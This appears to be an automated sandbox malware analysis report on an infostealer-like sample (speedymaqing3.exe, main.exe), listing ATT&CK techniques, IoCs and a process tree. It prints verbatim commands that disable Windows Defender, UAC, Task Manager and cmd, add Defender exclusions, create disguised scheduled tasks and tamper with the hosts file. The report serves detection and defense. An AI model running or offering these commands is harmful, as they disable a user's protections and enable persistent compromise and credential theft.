dea8d500bf52dd20eafb876893b1e7c724d352b68a0187ae799479b1a437512a

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2196	powershell.exe
4740	powershell.exe
1812	powershell.exe
2932	powershell.exe
3164	powershell.exe
5112	powershell.exe
2812	powershell.exe
1788	powershell.exe
4876	powershell.exe
420	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 3 IoCs

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	main.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	speedymaqing3.exe

Drops file in Drivers directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	speedymaqing3.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	main.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
1016	takeown.exe
5052	icacls.exe
5104	takeown.exe
2644	icacls.exe

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VpcECA.exe	speedymaqing3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VpcECA.exe	speedymaqing3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1U2tZo.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1U2tZo.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.exe	speedymaqing3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.exe	speedymaqing3.exe

Executes dropped EXE 2 IoCs

pid	Process
1604	main.exe
3740	main.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Minimal	speedymaqing3.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Minimal	main.exe

Loads dropped DLL 64 IoCs

pid	Process
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe
3012	speedymaqing3.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1016	takeown.exe
5052	icacls.exe
5104	takeown.exe
2644	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
65	discord.com
74	discord.com
75	discord.com
20	discord.com
21	discord.com
64	discord.com

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	api64.ipify.org
70	api64.ipify.org
17	api.ipify.org
18	api.ipify.org
34	api64.ipify.org
35	api64.ipify.org
60	api.ipify.org
61	api.ipify.org

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2748	cmd.exe
2956	cmd.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4796	cmd.exe
384	netsh.exe
1504	cmd.exe
1144	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Modifies registry key 1 TTPs 11 IoCs

Modify Registry

pid	Process
2644	reg.exe
1288	reg.exe
2276	reg.exe
224	reg.exe
1820	reg.exe
4192	reg.exe
2692	reg.exe
1748	reg.exe
3044	reg.exe
2864	reg.exe
2764	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2592	schtasks.exe
3412	schtasks.exe
4060	schtasks.exe
2192	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2932	powershell.exe
2932	powershell.exe
4876	powershell.exe
4876	powershell.exe
3164	powershell.exe
3164	powershell.exe
2196	powershell.exe
2196	powershell.exe
4740	powershell.exe
4740	powershell.exe
4876	powershell.exe
2932	powershell.exe
3164	powershell.exe
2196	powershell.exe
4740	powershell.exe
420	powershell.exe
420	powershell.exe
1812	powershell.exe
1812	powershell.exe
5112	powershell.exe
5112	powershell.exe
2812	powershell.exe
2812	powershell.exe
5112	powershell.exe
1788	powershell.exe
1788	powershell.exe
1812	powershell.exe
420	powershell.exe
2812	powershell.exe
1788	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe
Token: SeSystemtimePrivilege	3012	speedymaqing3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 3012	2064	speedymaqing3.exe	82
PID 2064 wrote to memory of 3012	2064	speedymaqing3.exe	82
PID 3012 wrote to memory of 224	3012	speedymaqing3.exe	88
PID 3012 wrote to memory of 224	3012	speedymaqing3.exe	88
PID 3012 wrote to memory of 1748	3012	speedymaqing3.exe	90
PID 3012 wrote to memory of 1748	3012	speedymaqing3.exe	90
PID 3012 wrote to memory of 4636	3012	speedymaqing3.exe	92
PID 3012 wrote to memory of 4636	3012	speedymaqing3.exe	92
PID 3012 wrote to memory of 3576	3012	speedymaqing3.exe	94
PID 3012 wrote to memory of 3576	3012	speedymaqing3.exe	94
PID 3012 wrote to memory of 3600	3012	speedymaqing3.exe	96
PID 3012 wrote to memory of 3600	3012	speedymaqing3.exe	96
PID 3012 wrote to memory of 5028	3012	speedymaqing3.exe	98
PID 3012 wrote to memory of 5028	3012	speedymaqing3.exe	98
PID 3012 wrote to memory of 4404	3012	speedymaqing3.exe	100
PID 3012 wrote to memory of 4404	3012	speedymaqing3.exe	100
PID 4404 wrote to memory of 4060	4404	cmd.exe	102
PID 4404 wrote to memory of 4060	4404	cmd.exe	102
PID 3012 wrote to memory of 1664	3012	speedymaqing3.exe	103
PID 3012 wrote to memory of 1664	3012	speedymaqing3.exe	103
PID 1664 wrote to memory of 2192	1664	cmd.exe	105
PID 1664 wrote to memory of 2192	1664	cmd.exe	105
PID 3012 wrote to memory of 3888	3012	speedymaqing3.exe	106
PID 3012 wrote to memory of 3888	3012	speedymaqing3.exe	106
PID 3012 wrote to memory of 376	3012	speedymaqing3.exe	107
PID 3012 wrote to memory of 376	3012	speedymaqing3.exe	107
PID 3012 wrote to memory of 2864	3012	speedymaqing3.exe	110
PID 3012 wrote to memory of 2864	3012	speedymaqing3.exe	110
PID 3012 wrote to memory of 1200	3012	speedymaqing3.exe	112
PID 3012 wrote to memory of 1200	3012	speedymaqing3.exe	112
PID 3012 wrote to memory of 2412	3012	speedymaqing3.exe	114
PID 3012 wrote to memory of 2412	3012	speedymaqing3.exe	114
PID 3012 wrote to memory of 3588	3012	speedymaqing3.exe	108
PID 3012 wrote to memory of 3588	3012	speedymaqing3.exe	108
PID 3012 wrote to memory of 4472	3012	speedymaqing3.exe	109
PID 3012 wrote to memory of 4472	3012	speedymaqing3.exe	109
PID 3012 wrote to memory of 2848	3012	speedymaqing3.exe	118
PID 3012 wrote to memory of 2848	3012	speedymaqing3.exe	118
PID 3012 wrote to memory of 3044	3012	speedymaqing3.exe	119
PID 3012 wrote to memory of 3044	3012	speedymaqing3.exe	119
PID 3012 wrote to memory of 3660	3012	speedymaqing3.exe	116
PID 3012 wrote to memory of 3660	3012	speedymaqing3.exe	116
PID 3888 wrote to memory of 1016	3888	cmd.exe	127
PID 3888 wrote to memory of 1016	3888	cmd.exe	127
PID 1200 wrote to memory of 2932	1200	cmd.exe	128
PID 1200 wrote to memory of 2932	1200	cmd.exe	128
PID 3012 wrote to memory of 2764	3012	speedymaqing3.exe	131
PID 3012 wrote to memory of 2764	3012	speedymaqing3.exe	131
PID 3588 wrote to memory of 4876	3588	cmd.exe	132
PID 3588 wrote to memory of 4876	3588	cmd.exe	132
PID 4472 wrote to memory of 3164	4472	cmd.exe	136
PID 4472 wrote to memory of 3164	4472	cmd.exe	136
PID 3012 wrote to memory of 3000	3012	speedymaqing3.exe	137
PID 3012 wrote to memory of 3000	3012	speedymaqing3.exe	137
PID 2412 wrote to memory of 1820	2412	cmd.exe	139
PID 2412 wrote to memory of 1820	2412	cmd.exe	139
PID 376 wrote to memory of 2196	376	cmd.exe	140
PID 376 wrote to memory of 2196	376	cmd.exe	140
PID 3660 wrote to memory of 4740	3660	cmd.exe	141
PID 3660 wrote to memory of 4740	3660	cmd.exe	141
PID 3000 wrote to memory of 5052	3000	cmd.exe	147
PID 3000 wrote to memory of 5052	3000	cmd.exe	147
PID 3012 wrote to memory of 2748	3012	speedymaqing3.exe	143
PID 3012 wrote to memory of 2748	3012	speedymaqing3.exe	143

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStore = "1"	speedymaqing3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStore = "1"	main.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

Hidden Files and Directories

T1564.001

pid	Process
1016	attrib.exe
2868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\speedymaqing3.exe
"C:\Users\Admin\AppData\Local\Temp\speedymaqing3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Users\Admin\AppData\Local\Temp\speedymaqing3.exe
  "C:\Users\Admin\AppData\Local\Temp\speedymaqing3.exe"
  2⤵
  - Disables cmd.exe use via registry modification
  - Drops file in Drivers directory
  - Drops startup file
  - Impair Defenses: Safe Mode Boot
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3012
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    - Disables cmd.exe use via registry modification
    - Modifies registry key
    PID:224
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1748
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:4636
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3576
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:3600
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc onlogon /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinDEfender" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc minute /mo 1 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinDEfender" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32\drivers\etc\hosts
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.py'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.py'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3164
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
      4⤵
      Modifies registry key
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4740
- - C:\Windows\SYSTEM32\diskpart.exe
    diskpart
    3⤵
    PID:2848
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - Modifies registry key
    PID:3044
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry key
    PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +h C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2748
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
    3⤵
    PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
    3⤵
    PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4796
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
    3⤵
    PID:1088
  - - C:\Windows\system32\netsh.exe
      netsh wlan show interfaces
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4616

C:\Users\Admin\AppData\Roaming\files\main.exe
C:\Users\Admin\AppData\Roaming\files\main.exe
1⤵
- Executes dropped EXE
PID:1604
- C:\Users\Admin\AppData\Roaming\files\main.exe
  C:\Users\Admin\AppData\Roaming\files\main.exe
  2⤵
  - Disables cmd.exe use via registry modification
  - Drops file in Drivers directory
  - Drops startup file
  - Executes dropped EXE
  - Impair Defenses: Safe Mode Boot
  - System policy modification
  PID:3740
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4192
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:1504
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:952
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc onlogon /f"
    3⤵
    PID:3588
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\Admin\AppData\Roaming\files\main.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2592
- - C:\Windows\system32\cmd.exe
